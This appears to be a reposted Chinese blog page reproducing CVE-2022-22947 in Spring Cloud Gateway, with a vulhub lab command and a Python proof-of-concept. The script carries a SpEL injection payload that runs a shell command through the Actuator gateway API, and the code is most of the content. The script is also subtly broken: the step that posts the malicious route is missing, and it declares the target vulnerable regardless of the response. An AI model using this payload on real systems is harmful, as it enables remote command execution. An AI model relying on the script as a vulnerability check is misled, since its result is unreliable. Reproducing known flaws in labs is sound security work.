栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Spring-CVE-2022-22947复现

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Spring-CVE-2022-22947复现

Spring-CVE-2022-22947-POC 简介:

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

漏洞环境:
docker run -d -p 8080:8080 vulhub/spring-cloud-gateway:3.1.0

访问8080端口:

POC:
import requests
import json
import re
#添加路由
print("cve")
url_host = input("请输入要测试的地址:")

data = {
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
           'Accept-Encoding': 'gzip, deflate',
           'Content-Type': 'application/json',
           'Connection': 'close',
           'Accept': '**',
           'Accept-Language': 'en',
           }

url =  url_host + "/actuator/gateway/refresh"
res = requests.post(url=url,headers=headers)
print(res.text)
print(res.status_code)

#执行过程

url =  url_host + "/actuator/gateway/routes/hacktest"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
           'Accept-Encoding': 'gzip, deflate',
           'Content-Type': 'application/x-www-form-urlencoded',
           'Content-Length': '0',
           'Connection': 'close',
           'Accept': '**',
           'Accept-Language': 'en',
           }

res = requests.delete(url=url,headers=headers)
print(res.text)
print(res.status_code)

#最后一步刷新路由

url =  url_host + "/actuator/gateway/refresh"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
           'Accept-Encoding': 'gzip, deflate',
           'Content-Type': 'application/x-www-form-urlencoded',
           'Connection': 'close',
           'Content-Length': '0',
           'Accept': '*/*',
           'Accept-Language': 'en',
           }

res = requests.post(url=url,headers=headers)
print(res.text)
print(res.status_code)
print("存在漏洞")

可以执行id命令,就代表存在,反之就不存在。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/782824.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号